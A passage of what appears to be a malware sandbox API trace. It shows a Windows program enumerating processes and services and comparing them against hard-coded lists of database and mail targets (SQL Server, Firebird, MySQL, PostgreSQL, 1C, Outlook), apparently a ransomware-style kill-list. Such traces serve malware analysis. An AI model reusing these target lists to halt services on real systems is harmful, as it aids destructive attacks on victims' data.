cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.416] lstrlenW (lpString="spoolsv.exe") returned 11 [0266.416] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.416] lstrlenW (lpString="taskhost.exe") returned 12 [0266.416] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.416] lstrlenW (lpString="svchost.exe") returned 11 [0266.416] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0266.417] lstrlenW (lpString="chrome64b.exe") returned 13 [0266.417] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0266.417] lstrlenW (lpString="reader_sl.exe") returned 13 [0266.417] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.417] lstrlenW (lpString="taskhost.exe") returned 12 [0266.417] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0266.417] CloseHandle (hObject=0x320) returned 1 [0266.417] Sleep (dwMilliseconds=0x1f4) [0267.048] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45446a8 [0267.049] EnumServicesStatusExW (in: hSCManager=0x45446a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0267.049] GetLastError () returned 0xea [0267.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113e) returned 0x45a9150 [0267.049] EnumServicesStatusExW (in: hSCManager=0x45446a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45a9150, cbBufSize=0x113e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45a9150, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0267.049] CloseServiceHandle (hSCObject=0x45446a8) returned 1 [0267.050] lstrlenW (lpString="Appinfo") returned 7 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0267.050] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.050] lstrlenW (lpString="AudioSrv") returned 8 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.050] lstrlenW (lpString="BFE") returned 3 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.050] lstrlenW (lpString="CryptSvc") returned 8 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0267.050] lstrlenW (lpString="CscService") returned 10 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.051] lstrlenW (lpString="DcomLaunch") returned 10 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.051] lstrlenW (lpString="Dhcp") returned 4 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.051] lstrlenW (lpString="Dnscache") returned 8 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.051] lstrlenW (lpString="DPS") returned 3 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0267.051] lstrlenW (lpString="eventlog") returned 8 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.051] lstrlenW (lpString="EventSystem") returned 11 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.052] lstrlenW (lpString="gpsvc") returned 5 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.052] lstrlenW (lpString="iphlpsvc") returned 8 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0267.052] lstrlenW (lpString="LanmanServer") returned 12 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0267.052] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrlenW (lpString="lmhosts") returned 7 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.053] lstrlenW (lpString="MMCSS") returned 5 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.053] lstrlenW (lpString="MpsSvc") returned 6 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.053] lstrlenW (lpString="Netman") returned 6 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0267.053] lstrlenW (lpString="netprofm") returned 8 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.053] lstrlenW (lpString="NlaSvc") returned 6 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.053] lstrlenW (lpString="nsi") returned 3 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.054] lstrlenW (lpString="PcaSvc") returned 6 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.054] lstrlenW (lpString="PlugPlay") returned 8 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.054] lstrlenW (lpString="Power") returned 5 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.054] lstrlenW (lpString="ProfSvc") returned 7 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.054] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.054] lstrlenW (lpString="RpcSs") returned 5 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.055] lstrlenW (lpString="SamSs") returned 5 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.055] lstrlenW (lpString="Schedule") returned 8 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.055] lstrlenW (lpString="SENS") returned 4 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.055] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.055] lstrlenW (lpString="Spooler") returned 7 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.055] lstrlenW (lpString="SysMain") returned 7 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.056] lstrlenW (lpString="Themes") returned 6 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.056] lstrlenW (lpString="TrkWks") returned 6 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0267.056] lstrlenW (lpString="UxSms") returned 5 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.056] lstrlenW (lpString="WdiServiceHost") returned 14 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0267.056] lstrlenW (lpString="WdiSystemHost") returned 13 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0267.056] lstrlenW (lpString="Winmgmt") returned 7 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0267.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0267.057] lstrlenW (lpString="WPDBusEnum") returned 10 [0267.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0267.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0267.057] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45a9150 | out: hHeap=0x540000) returned 1 [0267.057] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0267.058] Process32FirstW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.058] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.058] lstrlenW (lpString="System") returned 6 [0267.058] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.058] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.058] lstrlenW (lpString="smss.exe") returned 8 [0267.058] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.058] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.059] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.059] lstrlenW (lpString="csrss.exe") returned 9 [0267.059] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.059] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.059] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.059] 